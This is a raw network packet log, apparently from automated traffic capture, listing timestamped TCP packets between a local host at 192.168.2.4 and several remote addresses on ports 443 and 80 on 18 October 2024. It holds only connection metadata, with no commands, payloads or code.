Oct 18, 2024 15:04:46.271399021 CEST	50001	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:46.271404028 CEST	443	50001	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:46.273966074 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:46.273997068 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:46.274061918 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:46.274329901 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:46.274338007 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:46.725022078 CEST	80	50008	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:46.725079060 CEST	50008	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:46.900384903 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:46.900444031 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:46.901743889 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:46.901752949 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:46.902143002 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:46.903177023 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:46.903203011 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:46.903259993 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.035690069 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.035746098 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.035782099 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.035798073 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.035832882 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.035871983 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.039691925 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.039741993 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.039750099 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.039762974 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.039794922 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.039833069 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.039849997 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.039859056 CEST	50012	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.039864063 CEST	443	50012	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.100008011 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.100048065 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.100111008 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.100380898 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.100397110 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.731699944 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.731786013 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.733582973 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.733589888 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.734497070 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:47.736385107 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.736429930 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:47.736443043 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.358607054 CEST	50008	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:48.359277010 CEST	50025	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:48.364135981 CEST	80	50008	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:48.364193916 CEST	50008	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:48.364231110 CEST	80	50025	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:48.364301920 CEST	50025	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:48.364489079 CEST	50025	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:48.369615078 CEST	80	50025	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:48.529650927 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.529706001 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.529736996 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.529759884 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.529762983 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:48.529773951 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.529803038 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:48.529823065 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.529865026 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:48.529870033 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.529943943 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.529989958 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:48.529994965 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.534889936 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.534960032 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:48.534967899 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.588841915 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:48.648762941 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.648914099 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.648976088 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:48.648991108 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.649544954 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:48.649590015 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:49.069057941 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:49.069070101 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:49.069093943 CEST	50018	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:49.069097996 CEST	443	50018	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:49.233942986 CEST	50029	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:49.233968973 CEST	443	50029	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:49.234051943 CEST	50029	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:49.234479904 CEST	50029	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:49.234491110 CEST	443	50029	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:49.270159006 CEST	80	50025	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:49.270272017 CEST	50025	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:49.862390041 CEST	443	50029	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:49.862483025 CEST	50029	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:49.864690065 CEST	50029	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:49.864697933 CEST	443	50029	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:49.865056038 CEST	443	50029	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:49.866784096 CEST	50029	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:49.866950035 CEST	50029	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:49.866986990 CEST	443	50029	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:49.867050886 CEST	50029	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:49.867059946 CEST	443	50029	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:50.483515978 CEST	443	50029	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:50.483618975 CEST	443	50029	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:50.483803988 CEST	50029	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:50.483839035 CEST	50029	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:50.703603983 CEST	50037	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:50.703650951 CEST	443	50037	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:50.703749895 CEST	50037	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:50.704725027 CEST	50037	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:50.704737902 CEST	443	50037	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:50.796657085 CEST	50025	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:50.797950983 CEST	50038	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:50.803327084 CEST	80	50038	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:50.803407907 CEST	50038	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:50.803745031 CEST	50038	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:50.809181929 CEST	80	50038	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:50.842868090 CEST	80	50025	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:50.871421099 CEST	80	50025	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:50.871493101 CEST	50025	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:51.365784883 CEST	443	50037	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:51.365916967 CEST	50037	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:51.381351948 CEST	50037	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:51.381373882 CEST	443	50037	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:51.382066965 CEST	443	50037	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:51.384001970 CEST	50037	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:51.384680986 CEST	50037	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:51.384735107 CEST	443	50037	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:51.406289101 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:51.406522989 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:51.406584024 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:51.406850100 CEST	49971	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:51.406874895 CEST	443	49971	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:51.786320925 CEST	80	50038	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:51.786482096 CEST	50038	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:51.821305990 CEST	443	50037	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:51.821588993 CEST	443	50037	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:51.821649075 CEST	50037	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:51.839418888 CEST	50037	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:51.839442015 CEST	443	50037	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.112139940 CEST	50040	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.112170935 CEST	443	50040	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.112241983 CEST	50040	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.112641096 CEST	50040	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.112652063 CEST	443	50040	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.319199085 CEST	50041	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.319247961 CEST	443	50041	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.319314957 CEST	50041	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.319720984 CEST	50041	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.319740057 CEST	443	50041	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.727612972 CEST	443	50040	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.727684021 CEST	50040	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.729301929 CEST	50040	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.729315996 CEST	443	50040	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.729551077 CEST	443	50040	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.743319035 CEST	50040	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.743354082 CEST	50040	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.743412018 CEST	443	50040	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.942292929 CEST	443	50041	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.942425013 CEST	50041	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.943803072 CEST	50041	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.943813086 CEST	443	50041	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.944025040 CEST	443	50041	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.945163965 CEST	50041	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.945307970 CEST	50041	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.945347071 CEST	443	50041	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:52.945574045 CEST	50041	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:52.945585012 CEST	443	50041	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:53.162698030 CEST	443	50040	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:53.162782907 CEST	443	50040	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:53.162940979 CEST	50040	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:53.163033962 CEST	50040	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:53.163048983 CEST	443	50040	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:53.163110018 CEST	50040	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:53.163115025 CEST	443	50040	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:53.164140940 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:53.170150995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:53.170221090 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:53.170483112 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:53.175992012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:53.452466965 CEST	50038	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:53.452784061 CEST	50043	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:53.457731009 CEST	80	50043	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:53.457833052 CEST	50043	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:53.457973003 CEST	50043	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:53.458355904 CEST	80	50038	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:53.458420038 CEST	50038	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:53.462939024 CEST	80	50043	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:53.535800934 CEST	50044	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:53.540944099 CEST	80	50044	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:53.541026115 CEST	50044	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:53.541203022 CEST	50044	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:53.546189070 CEST	80	50044	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:53.785175085 CEST	443	50041	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:53.785258055 CEST	443	50041	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:53.785326958 CEST	50041	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:53.785463095 CEST	50041	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:53.785521984 CEST	443	50041	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:54.085514069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.085537910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.085550070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.085630894 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.085716009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.085737944 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.085751057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.085762978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.085774899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.085777044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.085789919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.085803986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.085813999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.085813999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.085855007 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.090562105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.090768099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.093830109 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.239638090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.239664078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.239818096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.239828110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.239871979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.239885092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.239905119 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.239905119 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.239933014 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.239953995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.240639925 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.240720987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.240818024 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.240855932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.240916967 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.240950108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.240961075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.240972042 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.240984917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.241019011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.241044044 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.241884947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.241960049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.241971016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.241997004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.242022991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.242034912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.242082119 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.242743969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.242754936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.242765903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.242796898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.242796898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.244954109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.244972944 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.245105028 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.364308119 CEST	80	50043	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:54.365844011 CEST	50043	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:54.394155979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394169092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394179106 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394207954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394217968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394223928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394234896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394249916 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.394294024 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.394373894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394385099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394391060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394484997 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.394629955 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394676924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394687891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394737005 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.394745111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394756079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394767046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.394798040 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.394810915 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.395066023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.395111084 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.395124912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.395173073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.395175934 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.395185947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.395262957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.395275116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.395283937 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.395298004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.395298004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.395320892 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.395334005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.395366907 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.395366907 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.395972967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396023035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396034956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396070004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.396131039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396142006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396151066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396162033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396176100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396186113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396190882 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.396190882 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.396199942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396233082 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.396259069 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.396863937 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396909952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396919966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396986008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396995068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.396998882 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.397007942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.397022009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.397053957 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.397053957 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.406991959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.407100916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.407172918 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.548213959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548227072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548239946 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548254967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548271894 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.548366070 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.548535109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548607111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548643112 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548646927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.548685074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548721075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548758984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548780918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548794031 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.548806906 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.548806906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548825026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548841000 CEST	80	50042	185.215.113.103	192.168.2.4
